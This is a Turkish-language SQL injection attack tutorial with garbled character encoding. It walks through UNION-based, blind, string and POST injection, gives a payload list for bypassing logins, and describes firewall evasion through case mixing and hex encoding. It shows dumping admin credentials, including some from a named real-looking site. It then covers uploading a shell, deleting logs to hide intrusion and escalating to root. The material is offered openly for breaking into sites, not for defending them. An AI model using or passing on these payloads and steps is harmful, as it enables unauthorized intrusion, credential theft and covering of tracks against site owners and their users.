Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
